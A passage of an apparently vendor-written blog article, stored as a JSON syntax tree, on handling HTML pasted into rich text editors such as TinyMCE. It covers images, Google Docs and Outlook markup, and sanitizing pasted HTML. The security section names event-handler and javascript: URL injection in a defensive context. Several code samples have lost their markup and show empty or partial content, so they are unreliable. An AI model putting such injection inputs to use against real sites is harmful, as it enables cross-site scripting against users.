("},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_allow_local_images","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_allow_local_images"}]}]},{"type":"text","value":" is on by default), and TinyMCE can "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/upload-images/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"upload them automatically"}]},{"type":"text","value":" through your image upload handler. The stored HTML then points to your storage instead of a data URI. For image types browsers can't read, "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_keep_unsupported_src"}]},{"type":"text","value":" keeps the original path in a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"data-image-src"}]},{"type":"text","value":" attribute so your own post-processing can deal with it, and the Accessibility Checker flags missing alt text and file names used as alt text. Whatever handler you use, set allowed file types and size limits so a 30MB screenshot doesn't end up in a database row."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/1MJeWBcN9hdF1JqkmP4EPK/17a84fc5300e0619b2ed205448940dd7/-thu-08-rich-text-editor-paste-problems-02-source-code-uploaded-image.webp","alt":"","width":1856,"height":480},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"5. Every source speaks its own HTML dialect"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Rules written for Word miss everything else. Google Docs, Google Sheets, web pages, and AI chat tools each put a different shape of HTML on the clipboard. The best-known example is "},{"type":"element","tagName":"a","properties":{"href":"https://community.obsidian.md/plugins/google-docs-paste","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Google Docs wrapping the entire selection in a bold tag"}]},{"type":"text","value":":"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"\n\n \n Refund policy:\n requests are reviewed within 5 business days.\n
\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"An editor that keeps the outer "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":""}]},{"type":"text","value":" makes everything bold. An editor that strips inline styles loses the real bold, because Google Docs marks it with "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"font-weight:700"}]},{"type":"text","value":" on a span rather than a "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":""}]},{"type":"text","value":" element. Web pages bring their own class names and site styles. AI chat tools add another variable, because users may paste either rendered HTML or raw Markdown, and literal asterisks and pound signs make a poor knowledge base article. If Markdown is common in your product, plan how to "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/paste-to-markdown/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"paste Markdown into TinyMCE"}]},{"type":"text","value":" as structured content."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Outlook belongs on the list too. Outlook has used "},{"type":"element","tagName":"a","properties":{"href":"https://learn.microsoft.com/en-us/previous-versions/office/developer/office-2007/aa338201%28v=office.12%29","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"Word's HTML engine since Outlook 2007"}]},{"type":"text","value":", so text copied from a support thread or customer email carries the same Office markup as a Word document, signatures and colored text included."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Fixing the issue is only half the work. Google Docs is a web app without versioned releases or a changelog for its clipboard output, so the markup can change without notice. Paste rules need ongoing attention, not a one-time fix."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Production handling detects the source first (for example, Word's "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":""}]},{"type":"text","value":" or the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"docs-internal-guid"}]},{"type":"text","value":" id), applies source-specific rules, and then runs the same allowlist for everything. PowerPaste is built this way: it has a separate setting for each source, "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_word_import"}]},{"type":"text","value":", "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_googledocs_import"}]},{"type":"text","value":", and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"powerpaste_html_import"}]}]},{"type":"text","value":", so you can keep formatting from one source and strip it from another. In our test, the Google Docs payload above came back as "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"Refund policy: requests are reviewed within 5 business days.
"}]},{"type":"text","value":". For the full Docs workflow, including tables and images, read "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/google-docs-powerpaste-rich-text-editor/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"Google Docs to HTML"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Where the paste lands matters as well as where it comes from. Pasting bold text into a bold paragraph, or formatted text into a list item, produces nested and duplicated tags unless the editor merges them. TinyMCE's "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_merge_formats","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_merge_formats"}]}]},{"type":"text","value":", on by default, collapses redundant formatting such as "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":""}]},{"type":"text","value":" inside "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":""}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"6. Pasted HTML is untrusted input"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"The clipboard can carry markup from any page a user copied from, including event handlers and script URLs. That makes your paste handler a security boundary: sanitize on paste, then again on the server."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"pre","properties":{"className":["language-markup"]},"children":[{"type":"text","value":"Quarterly update \ndetails
Click me
"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"This isn't theoretical. In 2020, a security researcher "},{"type":"element","tagName":"a","properties":{"href":"https://web.archive.org/web/20220124170730/https://research.securitum.com/the-curious-case-of-copy-paste/","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"published research on copy-and-paste attacks"}]},{"type":"text","value":" that reported four security issues in browsers and five vulnerabilities in rich text editors, with bug bounties totaling more than $30,000. His central point: once an editor takes over paste handling, the browser's own sanitization no longer protects you, and the editor's code does."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Whichever editor you use, its paste path should analyze pasted HTML somewhere nothing can run or load, sanitize it against an allowlist of tags, attributes, and URL schemes, and sandbox embedded frames. Then repeat the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/input-sanitization/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"input sanitization"}]},{"type":"text","value":" on the server before anything is stored or rendered. A Content Security Policy adds a page-level layer on top: if something slips through, the browser still refuses to run scripts from sources you haven't allowed."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"In TinyMCE, incoming HTML is "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/security/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"parsed with the browser's "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"DOMParser"}]},{"type":"text","value":" and sanitized with DOMPurify"}]},{"type":"text","value":", according to its security documentation. The "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"xss_sanitization"}]},{"type":"text","value":" option is on by default, SVG isn't supported, and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"sandbox_iframes"}]},{"type":"text","value":" adds an empty "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"sandbox"}]},{"type":"text","value":" attribute to embedded frames. In our tests with an equivalent payload, the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"onerror"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"onclick"}]},{"type":"text","value":" handlers, the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"javascript:"}]},{"type":"text","value":" URL, the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"